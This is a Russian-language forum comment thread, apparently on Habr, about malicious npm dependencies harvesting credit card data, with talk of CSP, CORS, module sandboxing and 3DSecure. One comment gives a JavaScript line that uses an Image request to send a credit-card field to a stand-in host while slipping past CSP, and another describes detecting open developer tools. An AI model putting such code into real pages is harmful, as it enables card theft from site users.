Не понимаю за что заминусовали человека, вроде бы всё здраво расписывает.
Кто-нибудь может объяснить?
Кто-нибудь может объяснить?
Игры, фильмы, книги бесплатные.
Кризис, как правило, предвещает начало новой эры.
Типичный Java-проект скачивает все зависимости уже в скомпилированном виде с maven central
Ну нет, в типичном проекте средних размеров уже есть собственный менеджер репозиториев.
Который кеширует всё с maven central?
Не факт, зависит от степени параноидальности отдела безопасности.
Аналогичное справедливо и для NPM. Отдел безопасности может и node-модули проверять.
Или node-модули проверяют специально обученные хипстеры вместо обычных безопасников?
Гарантии примерно такие же, как и с другими платформами, типа Java, например.
К чему разводить лишнюю паранойю конкретно про node_modules?
Я периодически поглядываю, что лежит у меня в node_modules, и до этой статьи, и после, но никогда обфусцированного кода не видел.
Если бы встретил, моя логика была бы простой: код опесорсный, скрывать ему нечего, ну его нафиг, лучше выберу другой модуль с той же функциональностью, чем распутывать зашифрованные куски.
Обфускация != сжатие.
Обфусцированный код разбирают, например, в этой статье. Это не так просто. Если ваши зависимости содержат такой код, то лучше выкинуть эти зависимости, честным разработчикам скрывать нечего.
Сжатый код, как react.production.js разжимается обратно очень легко. Возвращаем форматирование и получаем почти такой же читаемый исходник.
Разве что сеть ревьюеров, что-то вроде web of trustБ… бл… блокчейн?
Хороший рассказ про агента 007 виртуального мира.
Интересная статья. Спасибо.
Вероятно, мой вопрос покажется глупым сообществу, но если такая уязвимость возможна с React, то будет ли она действовать, если на сайте React не используется, но применяются другие модули с GitHub?
Например, у меня есть Framework Yii2 последней на сегодняшний день версии. На нём установлены модули с GitHub, которые позволяют красиво добавлять гиперссылки в текст статьи из админки и выводить красивые галереи пользователям.
В глобальном шаблоне layouts/main.php клиентской части есть форма, которая становится видимой при совершении пользователем каких-то действий. Других форм клиентская часть не предлагает. Вход же в админскую осуществляется через стандартную форму Yii2, отображаемую на отдельной странице. Единственная применяемая JS-библиотека — jQuery.
Может ли данная уязвимость передать данные клиентской формы и формы входа администратора при таких условиях?
Было бы интересно узнать. Посему обрадуюсь любому внятному ответу.
Вероятно, мой вопрос покажется глупым сообществу, но если такая уязвимость возможна с React, то будет ли она действовать, если на сайте React не используется, но применяются другие модули с GitHub?
Например, у меня есть Framework Yii2 последней на сегодняшний день версии. На нём установлены модули с GitHub, которые позволяют красиво добавлять гиперссылки в текст статьи из админки и выводить красивые галереи пользователям.
В глобальном шаблоне layouts/main.php клиентской части есть форма, которая становится видимой при совершении пользователем каких-то действий. Других форм клиентская часть не предлагает. Вход же в админскую осуществляется через стандартную форму Yii2, отображаемую на отдельной странице. Единственная применяемая JS-библиотека — jQuery.
Может ли данная уязвимость передать данные клиентской формы и формы входа администратора при таких условиях?
Было бы интересно узнать. Посему обрадуюсь любому внятному ответу.
небезызвестный букинг.ком при оплате картой отдает отелям полную инфо карты (вместе с cvc), так что о какой безопасности может идти речь
Вы уверены? Они утверждают, что присылают данные виртуальной карты partnerhelp.booking.com/hc/en-gb/articles/213317965-Receiving-online-payments
booking.com PCI compliant
но еще это не совсем так с его партнерами
www.pci-proxy.com/tag/pci-booking-com
тем не менее это временные номера карт которые уничтожаются
более интересная информация есть о безопасности в области заказа билетов на самолеты через GDS
но еще это не совсем так с его партнерами
www.pci-proxy.com/tag/pci-booking-com
тем не менее это временные номера карт которые уничтожаются
более интересная информация есть о безопасности в области заказа билетов на самолеты через GDS
Сразу вспомнилось сие замечательное произведение:
https://pastebin.com/raw/2EtY76Nn
https://pastebin.com/raw/2EtY76Nn
Пиши всё сам, никакого opensource, наступай на свои и чужие грабли, может быть тебя не «сломают» :-)
Угу, наиболее вероятный вариант при этом, что «сломать» будет нечего, так как продукт либо не появится вовсе, либо намного позже, чем он был нужен…
Не ищи чужие дыры в безопасности — создавай свои!
ЯП и компилятор тоже состоит из зависимостей, но даже если ты будешь писать на ассемблере потом окажется что дыра есть в самом процессоре.
Имея зловредные намерения и острый ум, мне кажется можно обойти любые ограничения.
Если честно, статья — шедевр! Читаешь как детектив или фантастику, в голове прям похождения Стальной Крысы разыгрываются.
Супер! Спасибо!
Но в уголочках начинает чуть чуть скрести паранойя. :-)
Супер! Спасибо!
Но в уголочках начинает чуть чуть скрести паранойя. :-)
Спасибо, хорошая заметка.
Грустно лишь то, что такие заметки становятся отличным вдохновляющим руководством для тех, кому своего ума на такие комбинации не хватило.
Грустно лишь то, что такие заметки становятся отличным вдохновляющим руководством для тех, кому своего ума на такие комбинации не хватило.
а еще есть плагины для браузера, там вообще все что угодно можно делать
была статья на эту тему от Яндекса: «Эволюция вредоносных расширений» habrahabr.ru/company/yandex/blog/341382
Видимо все что мог сделать автор с этими украдеными данными, это прикинуться на время трампом в твиттере))
Я сразу вспомнил Сбербанк Онлайн с кучей левых скриптов на страницах онлайн банка и заявления их представителей, что это не несет никакой угрозы клиентам!
Подход к безопасности сбербанка вообще фантастичен — нельзя запретить для карты оплату в интернет, вот нет такого варианта в принципе.
И вообще, вот очень бы хотелось посмотреть на того, кто додумался писать СVV код на самой карте и сделал это стандартом (хотя это уже конечно не к Сберу претензии)…
И вообще, вот очень бы хотелось посмотреть на того, кто додумался писать СVV код на самой карте и сделал это стандартом (хотя это уже конечно не к Сберу претензии)…
Вы удивитесь, если узнаете, что в США до недавнего времени дебетовые карты были мало распространены, а были только кредитки с оффлайн-оплатой и практически нулевой защитой. Картой можно было расплатиться вообще где угодно: не нужно было ни электричество, ни интернет — только импринтер (девайс, делающий оттиск карты — собственно поэтому буквы на картах выдавлены), да даже можно было просто номер карты в тетрадочку переписать и всё. И узнать текущий баланс карты было нельзя — банк просто раз в месяц выставлял счёт со списком операций.
Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты — это же самоочевидно, что секретный код не должен быть виден на самой карте!
А на недавно полученной визе сберовской он не просто напечатан, а еще и вдавлен, с трудом зачистил лезвием.
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты — это же самоочевидно, что секретный код не должен быть виден на самой карте!
А на недавно полученной визе сберовской он не просто напечатан, а еще и вдавлен, с трудом зачистил лезвием.
Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.
У нас их не было. А вот при поездках за рубеж один раз оплачивал именно так (было это в 2009 году).
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты
Зависит от политики банка и платёжной системы. Многим магазинам CVV вообще не нужен, поэтому отсутствие CVV на самой карте не защищит от вывода с неё денен.
с трудом зачистил лезвием.
Вот тут в соседней теме (3 года назад, правда), есть такие комментарии:
Disclaimer. Юридически карта без CVV может быть признана недействительной. Практически в РФ и Украине это вряд ли произойдет, но в ЕС и США возможно.
Удалить cvv/cvc — код с карты нельзя, так как он является необходимым реквизитом банковской карты, согласно правилам платежных систем. Формально, карта, на которой нет хотя бы одного обязательного реквизита, недействительна. То есть, теоретически, карту с удаленным cvv/cvc — кодом могут отказаться принять к оплате в терминалах торгово-сервисных предприятий.
Так что еще и удалять нельзя :(
Мне вообще данная карта нужна только для банкомата, иногда приходят деньги (потому и Сбер, что удобно отправителям), которые надо снимать, и я с удовольствием бы запретил к ней любой другой доступ…
paypass позволяет даже не доставать карту на свет. А *pay позволяют даже забывать карту дома.
Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)
Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)
Не так давно столкнулся с тем, что для платежей по сути не нужен и CVV. Был крайне удивлен, когда в форме оплаты попросили только номер карты, срок дейтвия и имя держателя и тут же списали деньги без CVV и SMS.
Как я понял после прочтения пары форумов, в таком случае вроде как ответственность на себя берет магазин и можно оспорить транзакцию. Но, судя по комментариям там же, часто эти оспаривания крайне затягиваются и переходят в перекидывание ответственности между магазином, банком и процессинговой системой(
Как я понял после прочтения пары форумов, в таком случае вроде как ответственность на себя берет магазин и можно оспорить транзакцию. Но, судя по комментариям там же, часто эти оспаривания крайне затягиваются и переходят в перекидывание ответственности между магазином, банком и процессинговой системой(
Ни в одном банке пока не видел, чтобы не было возможности снять деньги просто так, без СМС, если знаете такой, буду рад попользоваться.
Никогда не было и вот опять.
А вы уверены, что 3DSecure у приватбанка является обязательной?
Вот вижу клиент пытается сделать её такой.
Ну и проверить же просто, давайте данные, я сниму денег без СМС.
А вы уверены, что 3DSecure у приватбанка является обязательной?
Вот вижу клиент пытается сделать её такой.
Ну и проверить же просто, давайте данные, я сниму денег без СМС.
Может это и хорошо, но в условиях когда много точек не поддерживают 3DSecure у клиента будут постоянные проблемы с карточкой… Тогда начнут катить бочку на банк, чего это терминалы отвергают карточку? Ну выяснят что сами так захотели и снова «сделайте что-нибудь!».
Вообще-то, 3DSecure и аналогичная лабуда у остальных — это защита продавца, не покупателя. Если магазин поддерживает авторизацию по СМС — она работает, если не поддерживает — банк никаких кодов не запросит. Нам (читателям русских текстов) маркетологи СБ и компании как-то очень сильно внедрили мысль, о том, что код 3DSecure защищает покупателя, тогда как покупателя защищает МПС. А вот продавцов, от нечестных покупателей, этот код как раз и защищает.
Вот и говорю, что отказ со стороны клиента от операций без 3DSecure может стать его же проблемой во многих магазинах.
Маркетологи сделали чудо и дополнительное неудобство (а ведь ожидание и ввод кода, плюс нарушение закона в виде навязывание услуг сотового оператора — это неудобно) представили как дополнительную степень защиты.
Но пока есть хоть один магазин, принимающий карты без заморочек (например амазон), эта защита не защитит клиента.
Объясните пожалуйста, почему он защищает продавца. Вроде же наоборот, если ты покупатель, и стал жертвой мошенничества, но у получателя платежа не поддерживается 3DS — ты можешь оспорить сделку, а в противном случае нет. Вы имеете в виду, что наличие 3DS защищает продавца от необходимости возвращать деньги?
Если кто-то сфотографировал вашу кредитку, когда вы расплачивались в баре и заказал по ней товар, например на амазоне (там нет 3DS), вы через какое-то время это обнаруживаете и пишете в банк на возврат. У магазина почти нет шансов оспорить ваше заявление, у него нет никаких доказательств что это именно вы заказали и оплатили товар или услугу. А вот сделка через 3DS с точки зрения МПС гарантирует магазину, что на том конце точно сидит владелец карты и он знает, что делает.
Но выбор использовать 3ds или нет — за магазином.
По рассказам, нулёвая техническая защита компенсируется стопроцентной банковской — любой угон денег с кредитки возмещается банком в ста случаях из ста. Банкам выгоднее, чтобы люди без опасений пользовались кредитками — ущерб от краж перекрывается профитом от дохода.
Меня лично больше всего даже не это беспокоит, а то, что 3D-secure вовсе не обязателен и его проверка вообще устанавливается не самой VISA допустим, или пойдем ниже, Сбербанком, а владельцем сайта. Когда-то давно столкнулся с тем, что захотел купить кое-что на амазоне, ввел данные карты и деньги сразу же списались. Без всякой смс от Сбербанка с кодом подтверждения. Почему нельзя принудительно заставить все платежи подтверждать смс? Хотя бы так.
Если магазин(сайт) проводит платежи без 3DS, то, грубо говоря, всю ответственность за платеж он берет на себя. То есть, именно магазин будет обязан вернуть деньги в случае чего. Включая 3ds — ответственность уже перекладывается на банк. (это все грубо говоря)
Плюсую, так и есть. Правда, в моём случае пришлось идти в банк и писать заявление, звонки в поддержку продавца с просьбами вернуть часть суммы, потому что не на тот тариф жмякнул, вызвали только кучу негатива в мой адрес (хотя дизайн формы и кнопок был такой, что руки надо оторвать дизайнеру, который кнопки сделал такими, что они на кнопки не похожи). Вот интересно, если закон обязывает их вернуть средства в любом случае, почему не пойти на встречу и не вернуть самим, приостановив услугу?
Бинбанк пошел еще дальше: страница логина в интернет-банк (https://i.binbank.ru/login) вовсе не работает, если запретить «шпионский» функционал, и длится это более полугода. Их консультанты отписываются, что система «соответствует требованиям безопасности». Наверно, в требования безопасности включены: слив паролей Яндекс.Метрике и Google Analytics, а также рекламные трекеры.
Почти как СБОЛ с аналитикой в ЛК, включая форму логина. Такая же связка: ЯМ+GA
И знаете что? Им насрать. Впрочем, нет, они ведь даже ответили на эту претензию где-то здесь, на ГТ.
geektimes.ru/post/289577
geektimes.ru/post/289661
Нотариально заверенный скриншот
И знаете что? Им насрать. Впрочем, нет, они ведь даже ответили на эту претензию где-то здесь, на ГТ.
geektimes.ru/post/289577
geektimes.ru/post/289661
Make desktop applications great again.
А у них там какой-нибудь свой не менее толстый nuget.org. Мелких пакетов для "раскраски консоли", правда, нет, так что граф зависимостей обычно поменьше и читаем. Но от проблемы выше не избавляет.
Приходите к нам в Rust! У нас все зависимости раздаются исключительно человеческими исходниками. Не в последнюю очередь потому что с зоопарком таргетов компиляции и отключаемыми фичами раздавать что-то (полу)собранное нереально, слишком большое количество вариантов бинаря выходит.
Другое дело, что эти исходники надо не лениться читать.
Другое дело, что эти исходники надо не лениться читать.
и среди этих сайтов-жертв 100% есть vk.com и ok.ru ;)
И страдают прежде всего те, кто покупает никому не нужные стикеры.
И страдают прежде всего те, кто покупает никому не нужные стикеры.
Ладно.
Это без всяких фетчей отправит запрос, который отследить сложнее, если смотреть через анализаторы кода или даже визуально. Кроме того, CSP пропустит этот запрос, если не указать img-src (чего почти никто не делает). А кроме Image сколько ещё есть прекрасного.
Вывод: можно напрягаться и писать анализаторы, чем некогда занимался я, а можно выпустить продукт поскорее, просто не увлекаясь сторонними пакетами столь фанатично, и настроить несколько уровней безопасности, чтобы доступ к любому из них не дал украсть или разрушить всё остальное.
let img=new Image(); img.src="https://LULsite.com/?credit="+$('.credit')[0].value;Это без всяких фетчей отправит запрос, который отследить сложнее, если смотреть через анализаторы кода или даже визуально. Кроме того, CSP пропустит этот запрос, если не указать img-src (чего почти никто не делает). А кроме Image сколько ещё есть прекрасного.
Вывод: можно напрягаться и писать анализаторы, чем некогда занимался я, а можно выпустить продукт поскорее, просто не увлекаясь сторонними пакетами столь фанатично, и настроить несколько уровней безопасности, чтобы доступ к любому из них не дал украсть или разрушить всё остальное.
А ещё (вдобавок к статье из блога Яндекса, оставленную выше) в текущем же блоге была близкая очень к текущей статье, правда написана не столь литературно: habrahabr.ru/company/ruvds/blog/335144
О, ужас! Это же почти идеальное преступление! Два вопроса:
1)А «ВКонтакте» тоже «под колпаком»?
2)А как происходит отслеживание открытия средств разработчика?
1)А «ВКонтакте» тоже «под колпаком»?
2)А как происходит отслеживание открытия средств разработчика?
JS прекрасный язык, статья очередное тому подтверждение
Неплохой бизнес-план, почему нет метки "Туториал"?
Так решение находится на поверхности и оно вроде достаточно простое. И уже реализовано в iOS и Android.
- Нужна возможность при подключении пакета/модуля (через import) выставлять права доступа (работа с DOM, network (Ajax), canvas, использование events и тд).
- Полностью изолировать код модуля. Window и document не доступен, стандартные функции объектов string, array и т.д тоже, если их не как-то передать при инициализации модуля.
Короче нужно расширения для webpack =)
Ну вот какие разрешения вы бы поставили для Bootstrap? А для jQuery?
Так не надо использовать одну библиотеку, которая делает все и является прослойкой от native js. Если брать подход с использованием ядра в виде react, vuejs, angular с различными доп. модулями, которые решают конкретную задачу, то идея с правами доступа имеет право на жизнь. Но это не гарантирует, что нельзя будет вставить вредоносный код (если его добавят в ядро какого нибудь react, у которого будет доступ к DOM, то можно будет делать любые get запросы)
Ну конечно, давайте еще разделим на 30 разных частей. И для каждой свои разрешения.
А в итоге опять получим через полгода новый фреймворк, который удобно их объединяет в две строчки.
А в итоге опять получим через полгода новый фреймворк, который удобно их объединяет в две строчки.
А в чем проблема? Всякие JQuery и так разбиты на огромное количество модулей. А раньше его даже с сайта можно было сказать побитым на модули. Как сейчас jqueryui.
И в чем проблема вместо накликивания чекбоксов — прописать список импортов с разрешениями?
И в чем проблема вместо накликивания чекбоксов — прописать список импортов с разрешениями?
О каких технологиях идёт речь? Так как если использовать реактивные фреймворки, то так оно и есть, подключаете только те пакеты, которые нужны. Нужна работа с запросами — подключили библиотеку. Нужен роутинг — снова подключим библиотеку. Видимо вы говорите про подобие jQuery лапши. Если да, то значит будет один огромный фреймворк, доверять вендору и не ограничивать права доступа пакета, решать вам.
Я не говорю, что это решит проблему полностью, но безопаснее чуть-чуть станет. Все равно останется момент с доверием к вендору, но зато вы будете знать какие права нужны пакету, чтобы он работал. Ведь будет странно, если пакету нужен доступ к отправке запросов или к DOM, когда он меняет цвет сообщений в консоле, не так ли?
Я не говорю, что это решит проблему полностью, но безопаснее чуть-чуть станет. Все равно останется момент с доверием к вендору, но зато вы будете знать какие права нужны пакету, чтобы он работал. Ведь будет странно, если пакету нужен доступ к отправке запросов или к DOM, когда он меняет цвет сообщений в консоле, не так ли?
Держите песочницу: https://github.com/eigenmethod/mol/tree/master/func/sandbox
Осталось генерируемые вебпаком для каждого модуля eval заменить на sandbox.eval.
Ну а пока вы минусуете, я поисследовал тему. Концепция модулей в JS заключается в том, что каждый модуль — это синглтон. И это проблема. Мы не можем выдать права модулю в момент подключения. Ибо подключаться он может из разных мест с разными правами. По той же причине мы не можем распространять права транзитивно. То есть, например, выдали модулю "весёлая консолька" доступ к "console" и какие бы модули тот ни подключил — они не получат доступа к чему-то кроме "console".
Идеально было бы на каждый require создавать отдельный инстанс модуля с отдельными правами. При обычном require('color-console') права просто бы передавались без изменений. А при require( 'color-console', { console } ) модуль запускался бы в песочнице, где из глобальных переменных была бы лишь та, что мы передали. К сожалению, такая логика сломает чуть ли не все существующие модули. Так что её если где и увидишь, то только в новых экосистемах.
Тут та же проблема с транзитивными зависимостями. Модуль А зависит от Б и В, а Б и В зависят от Г и выдают ему разные права. Какие в итоге права будут у Г?
Я, конечно же, имел ввиду не node модули, а npm модули, они же пакеты. Проблема там та же.
Нет, изначально я имел ввиду именно node модули, в последнем сообщении уже пакеты. Суть проблемы же не меняется. Либо у нас проблема ромба с непонятными правами, либо полностью ациклическое дерево с комбинаторным взрывом числа листьев и соответственно без синглтонов.
justboris это всё работает пока у нас 10 зависимостей. Но вас не хватит вручную раздать права 10 тысячам модулей, приходящих через зависимости. А даже если и хватит, то это просто перекладывание ответственности, но не решение проблемы. Ну мы же тебе показали список на 100 экранов, ты согласился — сам дурак.
Я предлагаю смотреть только на модули, явно импортируемые вами.
Что-то похожее на import-cost, только вместо размера показывать список прав которые нужны этому импорту, с учетом его зависимостей.
А зачем нам видеть что там реально происходит? Нам, как пользователям модуля, достаточно знать, что где-то там происходят запросы к сети, и если мы их не хотим, то лучше поискать другой логгер.
Например такой, где это будет сделано плагинами:
import logger from 'cool-logger'; // console
import logstashPlugin from 'cool-logger-logstash'; // net
logger.use(logstashPlugin);Здесь все прозрачно видно, что где происходит, и что нужно отключить, если не хочется ничего посылать в сеть
Куда-то не туда ваше развитие идеи повернуло. Зачем нужно заниматься сложным разборов прав в рантайме?
По идее это нужно на этапе добавления нового модуля в проект. Чтобы при выполнении npm install color-console --save сам NPM писал, каких прав хочет пакет (и все его зависисмости) и спрашивал разрешение на продолжение. Если ответ положительный, то права записываются в package.json. Если когда-нибудь будущая версия color-console захочет больше прав, то при выполнении npm update диалог появится снова.
cool-logger сам по себе должен требовать пустое множество прав, а его зависимости отдельно console и net
Да, я думаю так.
Пользователь при добавлении логгера в package.json увидит агрегированный список прав, которые требуются модулю и всем его зависимостям и сам решит, нужен ему такой логгер, или лучше поискать другой, который просит меньше.
Сами модули никому никаких прав не делегируют, просто прозрачно показывают, что им требуется, чтобы конечный пользователь принял решение.
Вообще, конечно, не вижу реально удобного способа решения проблемы из статьи…
Я, в основном, backend-разработчик. Для фронтенд-части у меня есть скрипт с Gulp, который собирает все зависимости и пакует из них одну сборку. Я не хочу залезать в каждую библиотеку и смотреть что оно там по зависимостям тянет. Да и не разберусь я в ноде — я на джанге пишу.
Сейчас вот просто посчитал — в папке node_modules у меня 2192 раза встречается файл package.json. И что я должен с эим делать?
Вот как раз два дня назад при отладке на localhost заметил что браузер заблокировал два запроса на домен vseolice.ru. Мало того что это локалхост, так ведь и ничего похожего я не использую — ни баннеров, ни вообще российских доменов.
Грустно все это.
Я, в основном, backend-разработчик. Для фронтенд-части у меня есть скрипт с Gulp, который собирает все зависимости и пакует из них одну сборку. Я не хочу залезать в каждую библиотеку и смотреть что оно там по зависимостям тянет. Да и не разберусь я в ноде — я на джанге пишу.
Сейчас вот просто посчитал — в папке node_modules у меня 2192 раза встречается файл package.json. И что я должен с эим делать?
Вот как раз два дня назад при отладке на localhost заметил что браузер заблокировал два запроса на домен vseolice.ru. Мало того что это локалхост, так ведь и ничего похожего я не использую — ни баннеров, ни вообще российских доменов.
Грустно все это.
Вот отличный ответ банковским гуру программирования, когда они отвечают — мы берем скрипты только из проверенных google/yandex/yadro и ещё 100500 источников. А потом удивляются что у пользователей деньги воруют.
Чувак, написавший статью — теоретик. В теории, оно возможно и так, а на практике сколько он чего и у кого стянул таким способом? Я писал тест на JS'е для оплаты тестовой кредитной картой покупки в тестовом магазине на тестовой учётке в braintree — я задолбался во фреймы нырять и эмулировать ввод данных на форме. И это при том, что у меня были все возможности отдебажить код на странице. Сделать обратную операцию и считать данные из формы у braintree — задача не намного более простая. А таких процессингов кредиток — не одна штука. И форматы форм у них почему-то не совпадают. В теории можно написать универсальный скрипт для всех процессингов, который будет сливать номера всех кредиток хитрым неотслеживаевым способом на засекреченный адрес в интернете. На практике можно даже написать статью, как это сделать в теории. Но сделать на практике то, что описано в этой теории, пока что не удалось никому. Включая автора статьи.
Согласен. По множеству признаков видно, что текст написан не тем, кто мог бы такое сделать на самом деле, и его цель — привлечь внимание к проблеме.
Зато номер кредитки очень легко определяется как номер кредитки. Длина и хэш. А еще по первым циферкам платежная система. А так как просят дату имя и cvv. То такой набор отслеживается на раз два даже без анализа надписей на формах.
Проблема в том, что в npm и javascript нет доверенных источников и репутацию терять некому, фреймворк разработчики вместо того, чтобы написать нужную фичу самому, притащат в проект 100500 каких-то левых зависимостей.
Если бы npm пакеты представляющие фреймворки релизились IT гигантами, непредвиденного г-на было бы на порядок меньше, а реюз на порядок выше.
А статья класс, так и надо, хакеру за выдумку респект.
Если бы npm пакеты представляющие фреймворки релизились IT гигантами, непредвиденного г-на было бы на порядок меньше, а реюз на порядок выше.
А статья класс, так и надо, хакеру за выдумку респект.
Защитить себя, как пользователя просто — берем в привычку при вводе данных запускать инструменты разработчика, и тогда вредоносный код побоится себя проявить:)
А если серьезно, то все выглядит печально. И не факт, что на backend-е ситуация значительно проще.
А если серьезно, то все выглядит печально. И не факт, что на backend-е ситуация значительно проще.
Раньше через console.log(toString() { /* Ага, кто-то открыл инструменты разработчика */ }) работало, сейчас эту дырку закрыли.
В IE можно проверить открывались ли инструменты разработчика через проверку существования объекта console — до первого открытия этого консоли объекта не существует.
Вот работающий в хроме пример
Гениальное исполнение зловещего гамбита. А на самом деле автор понимает, что рано или поздно он пропалиться, а значит пришло время прикрывать тыли социальной инженерией.
Что может быть проще: прикрыться «выдуманной историей» поделившись рецептом с толпой. 1 из 1000000 да сделает свою примитивную реализацию. Таким образом, когда кто-нибудь на сайте и обнаружит эксплойт, отследят новоиспечённого засранца, «баг-фикс» закроют, и код мастера так же и останеться сидеть на сайте как бы не при делах.
А вас что, и правда после слов «моя фантазия» паранойа отпустила? :)
Что может быть проще: прикрыться «выдуманной историей» поделившись рецептом с толпой. 1 из 1000000 да сделает свою примитивную реализацию. Таким образом, когда кто-нибудь на сайте и обнаружит эксплойт, отследят новоиспечённого засранца, «баг-фикс» закроют, и код мастера так же и останеться сидеть на сайте как бы не при делах.
А вас что, и правда после слов «моя фантазия» паранойа отпустила? :)
Да, это лишний раз напомнило мне о величайшем мифе современности, и не только в it, а даже на бытовом уровне: "Мы живём в безопасном мире". Подвиды его: всё можно предусмотреть, несчастный случай всегда результат халатности, моя милиция меня бережёт, мои права соблюдаются извне...
И всячески стараемся забыть:
Вместо того, чтобы вам говорить: "если угодно будет Господу и живы будем, то сделаем то или другое", — вы, по своей надменности, тщеславитесь: всякое такое тщеславие есть зло. (Иакова 4:15-16)
Предусмотрите, что можете остановитесь на разумном пределе, а в остальном — будьте проще. И если откармливаете внутреннего параноика — не забывайте давать ему выходной.
Решение конкретно проблемы в статье простое, есть политика cors origin whitelist, которая просто запретит любые запросы кроме как на разрешенные домены, независимо от того что думает сервер-цель на это. Ну и да проблема вредоносного кода в зависимостях останется.
Пока что я такую штуку видел тока 1 раз на сайте веб версии скайпа, если попытаться туда через консоль подгрузить jquery cdn например выйдет ошибка.
Пока что я такую штуку видел тока 1 раз на сайте веб версии скайпа, если попытаться туда через консоль подгрузить jquery cdn например выйдет ошибка.
CORS не имеет никакого отношения к проблеме, описанной в статье. CSP — да, частично защитит.
CORS позволяет разрешить вашему сайту отправлять запросы к site-X. Для этого со стороны site-X (!!!) в ответах выставляются CORS заголовки, в которых есть домен вашего сайта.
CORS никак не сможет запретить useragent'у кинуть запрос на сайт хакера (случай с хакером-идиотом, который на своём сайте запретит ваш сайт мы не рассматриваем).
CORS позволяет разрешить вашему сайту отправлять запросы к site-X. Для этого со стороны site-X (!!!) в ответах выставляются CORS заголовки, в которых есть домен вашего сайта.
CORS никак не сможет запретить useragent'у кинуть запрос на сайт хакера (случай с хакером-идиотом, который на своём сайте запретит ваш сайт мы не рассматриваем).
между 7-ю утра и 7-ю вечера
Это актуально только для конкретного часового пояса, в котором сидят разработчики использующие этот
Для остальных же запросы будут идти вполне себе в рабочее время :)
Это конечно ничего не меняет, но все же :)
А что мешает изменить src в iframe на идентичную страницу на своем сервере?
Вот почему я уже два раза ставил laravel, думая, что пора начать пользоваться современным фреймворком, смотрел на загруженные мегабайты, ужасался количеству неизвестного кода, сносил и использовал свой микрофреймворк…
Это не решает проблему, а говорит лишь о вероятности её возникновения. Вот содержимое папки vendor: composer, dnoegel, doctrine, egulias, erusev, fideloper, filp, fzaninotto, hamcrest, jakub-onderka, laravel, league, mockery, monolog, mtdowling, myclabs, nesbot, nikic, paragonie, phar-io, phpdocumentor, phpspec, phpunit, psr, psy, ramsey, sebastian, swiftmailer, symfony, theseer, tijsverkoyen, vlucas, webmozart, в которой 5104 файла с расширением .php.
Я все комментарии проскроллил и не понимаю, почему только вы упомянули об этом — доступ во внешнюю сеть по белым спискам — это самый простой и эффективный способ борьбы с проблемой доверия к софту. Или я чего-то не понимаю? Но ведь в этом случае доступ к legit-analytics.com сразу бы заставил разработчиков поглядеть в код, который делает запросы к этому адресу, разве нет? А там уж все от квалификации разработчиков зависит.
Даже если добавляет, данные во внешнюю сеть все равно не утекут, php все равно придется обратиться к внешнему ресурсу так или иначе, чтобы передать приступнику необходимую ему информацию. Если же разговор о том, что этот скрипт создаст бэкдор, которым сможет воспользоваться злоумышленник — доступ снаружи тоже, разумеется, должен быть ограничен списком «белых» урлов. Светить наружу урлы напрямую к third-party вообще за гранью добра и зла, а сотворить такую инжекцию, которая, к примеру, при логине определенным аккаунтом добавляет, скажем, в настройки акаунта дамп базы с паролями — это надо очень плохо код писать.
Я еще раз повторю, простите, — недостаток вашей фантазии не означает что это невозможно сделать.
Зачем php-скрипту из WordPress обращаться на внешний адрес? Он может записать все в файлик uploads/picture345.jpg и все. Раз в три дня сканер пройдет и сам скачает этот файлик.
Зачем php-скрипту из WordPress обращаться на внешний адрес? Он может записать все в файлик uploads/picture345.jpg и все. Раз в три дня сканер пройдет и сам скачает этот файлик.
Не, я как раз описал нечто подобное во второй половине. Во-первых как php-скрипт там оказался? Разве .php живут не в read-only? Если у злоумышленника есть права на это — значит там уже была дыра конфигурации, которую можно эксплуатировать и другими путями, даже если весь софт самописный на 100%. Если этот файл там всегда был и он при определенных обстоятельствах вместо картинок сохраняет дампы базы — то, я говорю, это не очень умный человек написал, не должно быть петель снаружи наружу через third-party софт. Если бы эта картинка хоть немного прошла через самописный код, который эту картинку бы, например, ужимал и заодно стирал всякую стеганографию, ничего бы не вышло, а ошибка сразу бы вывела на нужный след разработчиков.
Да божемой, мне кажется, достаточно сказать «WordPress». Внутри каша из php-html-css-js и еще родной код более-менее форматирован.
А вот плагинов для него существует дочерта и внутри такой ад, что любой code-review окончится кровавыми слезами. Но как-то работают и вы можете просто посмотреть сколько интернет-магазинов строится на нем.
Это вы пишете прекрасный и красивый код, а большинству индусов все написать в одном файле — очевидная вещь.
Может быть в Facebook это и не пройдет. Пока. Начались же финансовые проблемы в Yahoo! и через некоторое время оказалось что пароли пользователей скомпрометированы и еще черт знает что…
А вот плагинов для него существует дочерта и внутри такой ад, что любой code-review окончится кровавыми слезами. Но как-то работают и вы можете просто посмотреть сколько интернет-магазинов строится на нем.
Это вы пишете прекрасный и красивый код, а большинству индусов все написать в одном файле — очевидная вещь.
Может быть в Facebook это и не пройдет. Пока. Начались же финансовые проблемы в Yahoo! и через некоторое время оказалось что пароли пользователей скомпрометированы и еще черт знает что…
Вот! Вот ОНО!
Вот что мне не так не нравится в современных методах разработки, когда «запилим пару десятков зависимостей в composer, не сильно переживая о том что нужно, а что лишнее и он нам все подкачает»
Добавлю страницу в закладки. Буду показывать всем, кто так любит менеджеры зависимостей, и когда все легко и по-современному.
Вот что мне не так не нравится в современных методах разработки, когда «запилим пару десятков зависимостей в composer, не сильно переживая о том что нужно, а что лишнее и он нам все подкачает»
Добавлю страницу в закладки. Буду показывать всем, кто так любит менеджеры зависимостей, и когда все легко и по-современному.
Ну а какие варианты вы можете предложить? Долго и скучно сидеть полтора года и писать весь код самостоятельно, а потом тестировать и долго выпиливать баги? А в это время смотреть в окно на соседа-хипстера, который быстро сбацал веб-магазин для криптовалют и поменял уже третий BMW за два месяца?
Мы разработчики и мы понимаем проблему и ее серьезность. А что вы скажете бизнесу?
